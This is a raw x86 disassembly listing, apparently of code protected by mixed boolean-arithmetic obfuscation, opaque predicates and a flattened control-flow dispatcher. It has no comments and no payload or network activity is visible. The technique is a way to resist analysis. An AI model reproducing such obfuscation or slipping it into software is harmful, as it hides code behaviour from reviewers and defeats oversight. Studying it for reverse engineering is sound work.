and esi, 0x68991335
and ecx, 0x9766ecca
or ecx, esi
xor ecx, eax
mov esi, ecx
xor esi, 0x68991335
mov eax, edi
and eax, 0x355e15f
and edx, 0xfcaa1ea0
or edx, eax
xor edx, ebx
xor edx, 0xfcaa1ea0
or ebx, edi
not ebx
or ebx, edx
mov eax, ebx
not eax
xor ecx, 0x9766ecca
mov edx, ecx
and edx, 0xd4c69c65
and esi, 0x2b39639a
or esi, edx
or ecx, ebx
and ebx, 0xd4c69c65
and eax, 0x2b39639a
or eax, ebx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x4cdfa606
mov edx, ecx
and edx, 0xb32059f9
or edx, esi
mov esi, edx
xor esi, 0x4acd2712
mov ebx, esi
or ebx, 0xae12b11c
or eax, 0x416108e1
and ecx, 0x6008114
and eax, 0xe97338e9
or eax, ecx
mov edi, ebx
xor edi, 0x70887a98
and edi, ebx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x71414a80
and edi, 0x4ae8567
or edi, ebx
or esi, 0xaf77b57f
or ecx, esi
and esi, 0x7b514a80
and edx, 0x880000
or edx, esi
mov esi, eax
xor esi, 0xe97338e9
xor edx, edi
mov edi, eax
xor edi, 0x502
xor eax, 0x2600b10c
and eax, esi
or esi, 0x70887a98
not ecx
or ecx, edx
mov edx, esi
and edx, 0xde88e29c
and edi, 0x1130562
or edi, edx
mov edx, eax
not edx
or esi, edx
and edx, 0xdeece29d
and eax, 0x20121100
or eax, edx
xor eax, edi
not esi
or esi, eax
xor esi, ecx
mov eax, esi
xor eax, 0x410800c
xor esi, 0xd1ed4ee3
mov ecx, esi
and ecx, 0x7acf7370
and eax, 0x85308c8f
or eax, ecx
xor eax, 0x7acf7370
xor esi, eax
test esi, eax
sete cl
setne ch
cmp dword [0x1004f90c], 0xa
setl dl
setge ah
mov bl, ah
or bl, dl
mov al, ah
xor al, bl
xor bl, 1
or bl, al
mov bh, bl
xor bh, 1
mov al, bh
and al, bl
xor al, 1
mov dh, bl
or dh, al
xor dh, 1
or dh, bh
or al, bh
xor al, 1
or al, bl
xor al, 1
xor bh, al
or al, bl
mov bl, bh
xor bl, al
or al, bh
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov bh, dh
xor bh, 1
and dh, al
or al, bh
and bh, bl
mov bl, al
xor bl, 1
or bh, dh
mov dh, al
and dh, bh
xor bh, 1
and bl, bh
or bl, dh
or bh, al
xor bl, 1
mov al, bl
xor al, bh
or bl, bh
xor bl, 1
or bl, al
mov al, bl
xor al, 1
mov dh, al
and dh, bl
xor al, dh
xor dh, 1
or dh, bl
xor dh, 1
or dh, al
mov bl, dh
xor bl, 1
mov al, ch
or al, dh
mov bh, cl
and bh, bl
and dh, ch
or dh, bh
xor al, 1
xor dh, 1
or dh, bl
xor dh, al
and al, dh
xor al, 1
mov ebx, eax
xor bl, dh
or al, dh
xor al, 1
or al, bl
mov dh, cl
or dh, ah
xor dh, 1
or dh, cl
mov bl, dh
xor bl, 1
xor cl, dl
and cl, dl
xor ah, ch
xor dl, ah
and dl, ah
mov ch, dl
xor ch, 1
mov ah, dl
and ah, ch
xor ah, 1
or ah, ch
xor ah, 1
or ah, dl
mov dl, ah
xor ah, 1
and ah, cl
xor cl, 1
and dl, cl
or ah, dl
or ch, cl
xor ah, 1
mov cl, ah
xor cl, ch
or ah, ch
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov ch, bl
and ch, dh
xor ch, 1
or ch, bl
xor ch, 1
or ch, dh
mov bl, ah
and bl, cl
xor bl, 1
mov dl, bl
xor dl, ah
or bl, ah
xor bl, 1
or bl, dl
xor bl, 1
mov dl, ch
xor dl, bl
or bl, ch
xor dl, 1
and dl, ch
xor dl, 1
mov ch, bl
xor ch, dl
or dl, bl
xor dl, 1
or dl, ch
xor ah, dh
and ah, dh
xor cl, dh
or cl, ah
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor ah, 1
mov ecx, edx
xor cl, ah
or ah, dl
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, 1
mov ah, cl
or ah, dl
xor ah, 1
xor cl, dl
or cl, ah
mov ch, cl
xor ch, 1
mov edx, ecx
xor dl, al
xor al, 1
mov ah, cl
or ah, al
or ch, al
xor ch, 1
or ch, dl
mov dl, ah
xor dl, 1
xor al, cl
and al, cl
xor al, 1
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ch, cl
and ch, ah
or cl, dl
and dl, al
or dl, ch
xor dl, 1
or dl, ah
or al, ah
mov ah, al
xor ah, cl
or al, cl
xor al, 1
or al, ah
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov edi, 0x88c0676e
mov eax, 0xd2e01f3e
cmovne edi, eax
test cl, 1
mov ecx, 0x88c0676e
cmovne edi, ecx
test dl, 1
cmove edi, eax
jmp 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edi, ecx
mov dword [esp + 4], ecx
not eax
mov ebp, eax
mov ecx, eax
and ecx, 0xc6b61afd
mov edx, edi
and edx, 0x3949e502
or edx, ecx
mov esi, edx
xor esi, 0x8100
xor edx, 0x300000
and edx, 0x38300000
and esi, 0x4828128
or esi, edx
xor esi, 0x4828128
or esi, 0xc34d7ed7
and eax, 0x820d58c2
mov ecx, edi
and ecx, 0x41402615
or ecx, eax
mov edx, ecx
xor edx, 0x40002011
or edx, 0x30b08020
xor ecx, 0x800018c2
and ecx, 0x81401ec6
and edx, 0x72bde031
or edx, ecx
mov ecx, edx
xor ecx, 0x72bde031
xor edx, 0xd02130c
and edx, 0x1f1a131d
mov eax, ecx
and eax, 0xc0456cc2
or eax, edx
xor eax, 0xe0e5ece2
mov edx, esi
xor edx, 0x6da9e30
mov edi, edx
and edi, esi
mov ebx, eax
or eax, esi
not esi
and edx, esi
and ebx, 0xf92561cf
and ecx, 0x2481e10
or ecx, ebx
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x14180620
and edi, 0xa9a7818c
or edi, ebx
mov ebx, edx
not ebx
or esi, ebx
and ebx, 0x54186663
and edx, 0x28a28108
or edx, ebx
xor edx, edi
mov ebx, ebp
mov dword [esp], ebp
not esi
or esi, edx
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
not eax
or eax, edx
mov esi, eax
xor esi, 0xc34d7ed7
xor eax, 0x3cb28128
mov ecx, eax
and ecx, 0x5592a69d
and eax, esi
and esi, 0xaa6d5962
or esi, ecx
mov edx, esi
xor edx, 0x28644002
xor esi, 0x5592a69d
mov ecx, esi
and ecx, 0x828bb9f5
and edx, 0x7d74460a
or edx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x828bb9f5
and eax, 0x7d74460a
or eax, ecx
mov ecx, ebp
mov dword [esp + 8], ebp
xor eax, edx
not esi
or esi, eax
mov ebp, esi
not ebp
and ebp, esi
xor esi, 0x7e821269
xor ebp, esi
mov eax, ebp
xor eax, 0x80680406
xor ebp, 0x2915ebb9
mov edx, ebp
and edx, 0x5797f9d0
and eax, 0xa868062f
or eax, edx
mov esi, ebx
xor ebp, eax
and ebp, eax
mov edx, dword [esp]
and edx, 0x7f4cb1b3
mov edi, dword [esp + 4]
mov eax, edi
and eax, 0x80b34e4c
or eax, edx
mov ebx, eax
xor ebx, 0x124404
xor eax, 0x40003080
or ecx, 0xc0013888
or eax, 0x1d040260
and eax, 0xdd053ae8
and ebx, 0x1ac415
or ebx, eax
and ecx, 0xdd053ae8
mov edx, edi
and edx, 0x22e00102
or edx, ecx
xor edx, ebx
mov eax, edx
xor eax, 0x6873fab2
xor edx, 0x978c054d
and esi, edx
and eax, edi
or eax, esi
xor edx, eax
and edx, eax
mov ecx, ebp
not ecx
mov eax, ecx
and eax, ebp
mov ebx, ecx
and ebx, 0x411d18ac
mov edi, ebp
mov esi, ebp
and edi, 0xbee2e753
or edi, ebx
and ebp, 0x17dd4536
xor edi, 0x9a044f36
or edi, ecx
mov dword [esp], edi
and ecx, 0xe822bac9
or ecx, ebp
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x17dd4536
and eax, 0xe822bac9
or eax, ebx
xor eax, ecx
not esi
or esi, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x277bffc1
mov edi, edx
and edi, 0xd884003e
or edi, eax
mov eax, edi
xor eax, 0x90800016
xor edi, 0x277bffc1
mov ecx, edi
and ecx, 0x4a071528
and eax, 0xb5f8ead7
or eax, ecx
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
or edi, ebx
and ebx, 0x4a071528
and ecx, 0xb5f8ead7
or ecx, ebx
xor ecx, eax
not edi
or edi, ecx
mov dword [esp + 0xc], edi
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x322adf64
and edi, 0xcdd5209b
or edi, eax
xor edi, 0x16cc7701
or edi, ecx
mov dword [esp + 0x10], edi
mov eax, esi
xor eax, ecx
and eax, esi
mov dword [esp + 0x14], eax
and ecx, esi
mov dword [esp + 0x18], ecx
mov ecx, esi
not esi
mov dword [esp + 0x20], esi
and esi, 0x2482a800
and ecx, 0x640065
or ecx, esi
and ebp, 0x5f7204cf
and edx, 0xa08dfb30
or edx, ebp
mov edi, edx
xor edi, 0xa08dfb30
xor edx, 0x4632040b
and edx, 0xe633671b
mov eax, edi
and eax, 0x19cc98e4
or eax, edx
xor eax, 0xc2d5cf7e
and edi, 0x24e6a865
or edi, eax
mov esi, dword [esp]
mov eax, esi
not eax
mov edx, esi
and edx, 0xdf54dff
xor esi, 0xf5c6eefb
and esi, eax
mov dword [esp], esi
and eax, 0xf20ab200
or eax, edx
mov edx, ecx
xor edx, 0x640065
lea esi, [edx - 0x24e6a866]
mov dword [esp + 0x24], esi
mov ebp, esi
xor ebp, 0xf5c6eefb
and ebp, esi
mov esi, ebp
not esi
mov ebx, esi
and ebx, 0xa122c0a9
and ebp, 0xcd42844
or ebp, ebx
or edx, 0xdb39579e
xor ecx, 0x4802800
or esi, edx
and edx, 0xa32bd1a9
and ecx, 0x4c42840
or ecx, edx
xor ecx, ebp
not esi
or esi, ecx
mov ecx, eax
xor ecx, 0xf20ab200
xor eax, 0x7cc5cfb
and eax, ecx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0xc5aa50d4
and eax, 0x3a55af2b
or eax, ebx
mov ebp, dword [esp]
mov ebx, ebp
not ebx
or edx, ebx
and ebx, 0xc5aa50d4
and ebp, 0x3a55af2b
or ebp, ebx
xor ebp, eax
not edx
or edx, ebp
mov ebx, edx
xor ebx, edx
not ebx
and ebx, esi
xor ebx, edx
or ecx, dword [esp + 0x24]
mov eax, ebx
not eax
mov edx, eax
and edx, 0x5453a544
and ebx, 0xabac5abb
or ebx, edx
or eax, ecx
and ecx, 0x74f7ad65
xor ecx, ebx
xor ecx, 0x20a40821
not eax
or eax, ecx
mov ecx, edi
xor ecx, 0x5b2e9c5b
mov edx, dword [esp + 0x10]
or edi, edx
xor edx, 0x5b2e9c5b
mov esi, ecx
xor esi, ecx
not esi
and esi, edx
xor esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xa1a5b264
and esi, 0x5e5a4d9b
or esi, edx
mov edx, edi
not edx
or ecx, edi
and edi, 0xa1a5b264
and edx, 0x5e5a4d9b
or edx, edi
xor edx, esi
not ecx
or ecx, edx
not eax
mov edx, ecx
not edx
mov esi, edx
xor esi, eax
and esi, ecx
and edx, 0xaa37bcb5
and ecx, 0x55c8434a
or ecx, edx
xor ecx, 0xaa37bcb5
or ecx, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0x6d6784cb
and esi, 0x92987b34
or esi, eax
xor esi, ecx
or edx, ecx
xor esi, 0x92987b34
not edx
or edx, esi
mov eax, dword [esp + 0x20]
and eax, dword [esp + 0xc]
mov esi, dword [esp + 0x18]
or esi, eax
mov edi, dword [esp + 0x14]
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xd0963143
and edi, 0x2f69cebc
or edi, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0xd0963143
and esi, 0x2f69cebc
or esi, ecx
xor esi, edi
not eax
or eax, esi
mov ecx, eax
mov esi, eax
xor esi, 0xa2c28139
and esi, eax
not eax
or ecx, 0x5d3d7ec6
mov edi, ecx
and edi, 0xf8e671fc
and eax, 0x2008001
or eax, edi
mov edi, esi
not edi
or ecx, edi
and edi, 0xf8e671fc
and esi, 0x7198e03
or esi, edi
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
xor eax, 0x5344ec0
xor ecx, 0xa2c28139
mov esi, ecx
and esi, 0x5a8bb11e
and eax, 0xa5744ee1
or eax, esi
xor eax, 0xa5744ee1
or eax, ecx
xor eax, edx
and edx, eax
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xc6291f8c
mov esi, eax
and esi, 0x39d6e073
or esi, ecx
mov edi, esi
xor edi, 0x20100021
mov ebx, edx
or ebx, 0x802010
or esi, 0x82404e42
and esi, 0x82c06e52
and edi, 0x64111129
or edi, esi
and ebx, 0x82c06e52
mov ecx, eax
and ecx, 0x192e8084
or ecx, ebx
xor ecx, edi
mov esi, ecx
xor esi, 0xb284046
xor ecx, 0x64913139
and esi, 0x4fa94047
mov edi, ecx
and edi, 0xb056bfb8
or edi, esi
xor edi, 0xe7c14669
and ecx, 0xa868062e
or ecx, edi
and edx, 0xa700e160
and eax, 0x58ff1e9f
or eax, edx
mov esi, eax
xor esi, 0x58ff1e9f
xor eax, 0x8200c000
and eax, 0x82ccc68b
mov edx, esi
and edx, 0x7d333974
or edx, eax
xor edx, 0xd55b3f5a
and esi, 0x5797f9d1
or esi, edx
mov eax, esi
not eax
mov edx, ecx
or edx, esi
and esi, 0x78167213
and eax, 0x87e98dec
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0x87e98dec
xor eax, 0x78167213
mov esi, eax
and esi, 0xe394ca22
and ecx, 0x1c6b35dd
or ecx, esi
xor ecx, edx
xor ecx, 0x1c6b35dd
or eax, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
mov edi, eax
mov esi, eax
and eax, 0x7c7b658e
mov ebx, edx
and ebx, 0x83849a71
or ebx, eax
and edi, 0xa7202ffe
xor ebx, 0x83849a71
or ebx, edx
and edx, 0x58dfd001
or edx, edi
mov eax, ecx
not eax
or esi, eax
and eax, 0xa7202ffe
and ecx, 0x58dfd001
or ecx, eax
mov ebp, dword [esp + 8]
mov eax, ebp
xor ecx, edx
not esi
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x64e6fc06
and ecx, 0x9b1903f9
or ecx, esi
mov esi, ecx
xor esi, 0x9b1903f9
xor ecx, 0x64e6fc06
mov edi, esi
xor edi, ebx
and edi, esi
xor esi, ecx
and esi, ebx
xor esi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xc6a0b9e1
and edi, 0x395f461e
or edi, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0xc6a0b9e1
and esi, 0x395f461e
or esi, ecx
mov ebx, ebp
mov ebp, dword [esp + 4]
and eax, ebp
and ebx, 0x69d8e027
mov ecx, ebp
and ebp, 0x96271fd8
or ebp, ebx
not ebp
mov ebx, dword [esp + 8]
or ebp, ebx
xor esi, edi
not edx
or edx, esi
and ebx, 0x49008025
and ecx, 0x20d86002
or ecx, ebx
xor ecx, 0x20d86002
or ecx, eax
mov eax, ecx
not eax
or eax, 0x96271fd8
mov esi, eax
or esi, ebp
not esi
and eax, 0xf8c9b230
and ecx, 0x1104007
or ecx, eax
xor ecx, ebp
xor ecx, 0x7364dcf
or ecx, esi
mov esi, ecx
not esi
mov eax, ecx
xor eax, 0x96271fd8
and eax, ecx
or ecx, 0x69d8e027
mov edi, eax
not edi
mov ebx, ecx
and ebx, 0x1cc8f4cf
and esi, 0x82270b10
or esi, ebx
or ecx, edi
and edi, 0x1cc8f4cf
and eax, 0xe3370b30
or eax, edi
xor eax, esi
not ecx
or ecx, eax
mov edi, ecx
not edi
mov esi, edx
not esi
mov eax, edi
and eax, esi
mov ebx, edx
and ebx, ecx
or ebx, eax
mov eax, ebx
xor eax, esi
and eax, ebx
mov ebp, esi
and ebp, 0xf5e340f6
mov ebx, edx
and ebx, 0xa1cbf09
or ebx, ebp
xor ebx, edi
xor ebx, 0xa1cbf09
and ebx, ecx
and edi, 0xc6ad7171
and ecx, 0x39528e8e
or ecx, edi
xor ecx, esi
xor ecx, 0x39528e8e
and ecx, edx
or ecx, ebx
mov edi, eax
not edi
mov dword [esp], edi
mov esi, ecx
not esi
and edi, 0x7048053e
mov ebx, eax
xor ebx, 0x7048053e
and ebx, eax
or ebx, edi
mov edi, ecx
or edi, 0xca4b281
and edi, 0x1ce4b3ab
mov ebp, esi
and ebp, 0x60080414
or ebp, edi
mov edx, esi
or edx, 0x1040012a
and edx, 0x1ce4b3ab
mov edi, ecx
and edi, 0x83134840
or edi, edx
xor edi, ebp
mov ebp, edi
xor ebp, edi
not ebp
and ebp, ebx
xor ebp, edi
mov edx, eax
and edx, 0xe7d870b9
mov edi, dword [esp]
and edi, 0x18278f46
or edi, edx
or eax, ecx
and ecx, 0xe7d870b9
and esi, 0x18278f46
or esi, ecx
xor esi, edi
not eax
or eax, esi
not eax
or eax, ebp
mov ecx, eax
not ecx
mov edx, eax
mov esi, eax
mov edi, ecx
and edi, 0xc79147a7
and eax, 0x386eb858
or eax, edi
mov edi, ecx
xor eax, 0xc79147a7
or eax, ecx
or ecx, 0x42011602
or edx, 0x45ec104
and edx, 0x465fd706
and edi, 0x39002869
or edi, edx
and ecx, 0x465fd706
and esi, 0x80a00090
or esi, ecx
xor esi, edi
mov edx, esi
xor edx, 0x8036c114
xor esi, 0x79000869
and esi, 0x7dc808e9
and edx, 0x8237f716
or edx, esi
mov ecx, edx
xor ecx, 0x112012
xor edx, 0x188800e1
and edx, 0x9aaed7e5
and ecx, 0x6551281a
or ecx, edx
mov edx, ecx
xor edx, 0x9aaed7e5
xor ecx, 0x24100010
mov esi, edx
or esi, eax
not esi
and edx, 0x4b677c0e
and ecx, 0xb49883f1
or ecx, edx
xor ecx, eax
xor ecx, 0xb49883f1
or ecx, esi
mov eax, ecx
not eax
and ecx, 0x1cf0fa23
and eax, 0xe30f05dc
or eax, ecx
mov ecx, eax
xor ecx, 0x1cf0fa23
xor eax, 0xe30f05dc
mov edx, eax
and edx, ecx
and eax, 0x22996a8b
and ecx, 0xdd669574
or ecx, eax
mov esi, ecx
xor esi, 0x298488b
mov eax, edx
not eax
xor ecx, 0xdd669574
mov edi, eax
and edi, 0x2c232304
and edx, 0xd3dcdcfb
or edx, edi
or eax, ecx
and ecx, 0x2c232304
and esi, 0xd3dcdcfb
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xbff43ddc
and ecx, eax
and eax, 0x400bc223
or eax, edx
mov edx, eax
xor edx, 0x20021
xor eax, 0xbff43ddc
mov esi, ecx
not esi
mov edi, eax
and edi, 0xd1f9ebd2
and edx, 0x2e06142d
or edx, edi
or eax, esi
and esi, 0xd1f9ebd2
and ecx, 0x2e06142d
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe2b95a27
and eax, 0x1d46a5d8
or eax, edx
xor eax, 0xe2b95a27
xor ecx, eax
test ecx, eax
sete byte [esp]
setne bh
cmp dword [0x1004f90c], 0xa
setl ah
setge dl
mov ch, dl
inc ch
mov al, ch
and al, dl
xor al, 1
mov dh, al
xor dh, ch
or al, ch
xor al, 1
or al, dh
xor al, 1
or dl, ch
mov dh, al
xor dh, dl
or dl, al
mov bl, dl
xor bl, 1
mov al, dh
xor al, 1
and dh, dl
or dl, al
and al, bl
or al, dh
xor al, 1
mov dh, al
xor dh, dl
or al, dl
xor al, 1
or al, dh
mov dl, bh
inc dl
xor ch, ah
and ah, ch
xor ch, 1
or ch, ah
mov dh, ch
xor dh, 1
mov ah, dh
and ah, ch
xor dh, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, dh
mov dh, ah
xor dh, 1
mov ch, dh
and ch, ah
xor ch, 1
mov bl, ch
xor bl, ah
or ch, ah
xor ch, 1
or ch, bl
xor ch, al
mov cl, ch
and ch, al
xor ah, al
and ah, dh
or dh, al
mov byte [esp + 4], dh
xor al, 1
mov bl, bh
or bl, dl
xor dl, bh
mov dh, bh
xor dl, 1
mov bh, dl
xor bh, bl
or dl, bl
xor dl, 1
or dl, bh
mov ebx, edx
xor bl, 1
xor cl, 1
mov byte [esp + 8], cl
and dl, bl
xor dl, 1
mov bh, bl
xor bh, dl
or dl, bl
xor dl, 1
or dl, bh
xor dl, 1
mov bh, dh
mov cl, dh
or cl, dl
mov byte [esp + 0xc], cl
mov dh, byte [esp]
xor dl, dh
xor bl, bh
mov cl, bh
mov bh, dh
or bh, al
or cl, al
mov byte [esp + 0x10], cl
xor dh, al
and dh, al
mov byte [esp], dh
mov dh, byte [esp + 8]
and al, dh
or ch, al
xor ch, 1
or ch, dh
mov cl, byte [esp + 4]
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
mov ah, cl
and ah, al
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov dh, ch
xor dh, ah
or ah, ch
and ah, dh
xor ch, 1
or cl, ch
xor al, ch
mov ch, al
xor ch, cl
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, 1
mov ch, ah
xor ch, 1
and cl, ch
or ch, al
and al, ah
or al, cl
xor al, 1
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov ah, byte [esp + 0xc]
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ch, bl
xor ch, 1
mov ah, dl
and ah, cl
xor ah, 1
mov dh, ah
xor dh, cl
or ah, cl
xor ah, 1
or ah, dh
mov dh, ah
xor dh, 1
and dh, ch
and ah, bl
or ah, dh
and ch, cl
mov cl, dl
xor cl, bl
and cl, dl
and bl, dl
or bl, ch
xor cl, 1
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
mov ch, cl
and ch, bl
xor cl, ch
xor ch, 1
or ch, bl
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
mov edx, ecx
and dl, ah
xor ah, 1
and ch, ah
or ch, dl
or ah, cl
xor ch, 1
mov cl, ch
xor cl, ah
or ch, ah
xor ch, 1
or ch, cl
mov ah, al
xor ah, 1
mov dl, ch
xor dl, 1
and ah, al
xor ah, 1
mov cl, al
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
and dl, ch
xor dl, 1
mov cl, ch
xor cl, dl
or dl, ch
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov al, dl
xor al, 1
and al, dl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
and cl, ah
or dl, ah
xor ah, 1
xor al, 1
and al, ah
or al, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov cl, bh
xor cl, 1
movzx edx, byte [esp + 0x10]
xor dl, 1
mov ch, byte [esp]
or ch, dl
mov dl, bh
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
mov cl, ch
and dl, ch
xor cl, 1
xor ah, 1
and ah, cl
or dl, ah
mov ah, bh
xor ah, cl
or cl, bh
xor cl, 1
or cl, ah
xor cl, 1
or cl, ah
mov ah, dl
xor ah, 1
mov ch, ah
and ch, dl
xor ch, 1
mov dh, dl
xor dh, ch
or ch, dl
mov ebx, ecx
xor bl, 1
xor ch, 1
or ch, dh
mov edx, ecx
and dl, bl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
xor dl, ch
or ah, cl
xor dl, 1
mov ecx, edx
xor cl, ah
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
and dl, ah
xor dl, 1
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov ecx, edx
xor cl, al
or ah, al
xor al, 1
or cl, al
mov ch, ah
xor ch, 1
or al, dl
mov edx, eax
xor dl, 1
and ch, al
and dl, ah
or dl, ch
or al, ah
xor dl, 1
mov ah, dl
xor ah, al
or dl, al
xor cl, 1
xor dl, 1
or dl, ah
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov edi, 0x56bc69ad
mov esi, 0x8133f756
cmovne edi, esi
test cl, 1
mov eax, 0x56bc69ad
cmovne edi, eax
test dl, 1
cmove edi, esi
jmp 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
mov ebp, edx
and eax, 0x37185e7a
mov edx, ecx
and edx, 0xc8e7a185
or edx, eax
mov eax, edx
xor eax, 0x8a6a001
xor edx, 0x37185e7a
mov esi, ebp
and esi, ecx
mov edi, esi
not edi
mov ebx, edx
and ebx, 0xf54105a4
and eax, 0xabefa5b
or eax, ebx
or edx, edi
and edi, 0xf54105a4
and esi, 0xabefa5b
or esi, edi
xor esi, eax
not edx
or edx, esi
mov eax, edx
not eax
and edx, 0x1e651580
and eax, 0xe19aea7f
or eax, edx
mov edx, eax
xor edx, 0x10650480
xor eax, 0xa090e206
and eax, 0xae90f306
and edx, 0x516f0cf9
or edx, eax
mov esi, edx
xor esi, 0x516f0cf9
mov eax, ecx
and eax, 0xbfb94633
mov dword [esp], ebp
mov edi, ebp
and edi, 0x4046b9cc
or edi, eax
xor edi, 0x4046b9cc
or edi, ebp
mov eax, edi
not eax
xor edx, 0x6901202
and edx, 0x7fb1aea
mov ebx, esi
and ebx, 0xf804e515
or ebx, edx
xor ebx, 0xf804e515
and edi, 0x81fa37b9
mov ebp, eax
and ebp, 0x7e05c846
or ebp, edi
mov edx, ebp
xor edx, 0x7e05c846
xor ebp, 0xe37dffbf
and ebp, edx
or edx, ebx
and ebx, 0x6287c806
and esi, 0x9d7837f9
or esi, ebx
and eax, 0x9d7837f9
or eax, ebp
xor eax, esi
not edx
or edx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0xeed47a00
mov esi, edx
and esi, 0x112b85ff
or esi, eax
or edx, 0xeed47a00
mov eax, esi
not eax
mov ebx, edx
and ebx, 0x3c155dcd
and edi, 0x12a8032
or edi, ebx
or edx, eax
and eax, 0x3c155dcd
and esi, 0xc3eaa232
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, dword [esp]
and eax, 0xf3140240
mov esi, ecx
and esi, 0xcebfdbf
or esi, eax
mov ebp, esi
xor ebp, 0x801110c
xor esi, 0x41140040
mov ebx, ecx
xor ebx, 0x4dbd716d
and ebx, ecx
or esi, 0xb2428e92
mov eax, esi
and eax, 0x75ea6ea1
and ebp, 0x815114c
or ebp, eax
mov eax, ebx
not eax
or esi, eax
and eax, 0x75ea6ea1
and ebx, 0x8a15915e
or ebx, eax
mov edi, edx
not edi
xor ebx, ebp
not esi
or esi, ebx
mov eax, esi
xor eax, 0x23210329
xor esi, 0x940010
and esi, 0x80dc0854
and eax, 0x7f23f7ab
or eax, esi
mov esi, eax
mov ebp, eax
xor esi, 0x550202aa
mov eax, dword [esp]
and eax, 0xb8a3a222
and ecx, 0x475c5ddd
or ecx, eax
mov eax, ecx
xor eax, 0x45180888
xor ebp, 0x80dc0854
xor ecx, 0xb8a3a222
mov ebx, ebp
and ebx, 0xaae5f555
and esi, 0x551a0aaa
or esi, ebx
or ebp, ecx
and ecx, 0xaae5f555
and eax, 0x551a0aaa
or eax, ecx
xor eax, esi
mov esi, ebp
not esi
or esi, eax
mov eax, edx
and eax, 0x7f1b6f8a
mov ebp, edi
and ebp, 0x80e49075
or ebp, eax
mov ecx, esi
xor ecx, 0x2bc54816
mov eax, esi
or eax, 0x2a840006
or ecx, 0x14083240
and ecx, 0x3e8c3246
mov ebx, esi
mov dword [esp], esi
and ebx, 0x40328091
or ebx, ecx
not esi
and eax, 0x3e8c3246
mov ecx, esi
and ecx, 0x81414d28
or ecx, eax
xor ecx, ebx
mov ebx, ecx
mov eax, ebp
mov dword [esp + 0x14], ebp
mov ecx, ebp
xor ecx, 0x80e49075
mov dword [esp + 0x18], ecx
xor eax, 0x7f1b6f8a
mov dword [esp + 0x10], eax
or eax, 0x10130242
and ecx, 0x288c7011
and eax, 0x905387e6
or eax, ecx
and edi, 0x7ce87fc9
mov ecx, edx
and ecx, 0x83178036
or ecx, edi
xor ecx, 0xd4248a7c
and edx, 0xa8ccf5b5
or edx, ecx
mov edi, ebx
mov ecx, ebx
xor ecx, 0x95497f68
mov dword [esp + 0xc], ecx
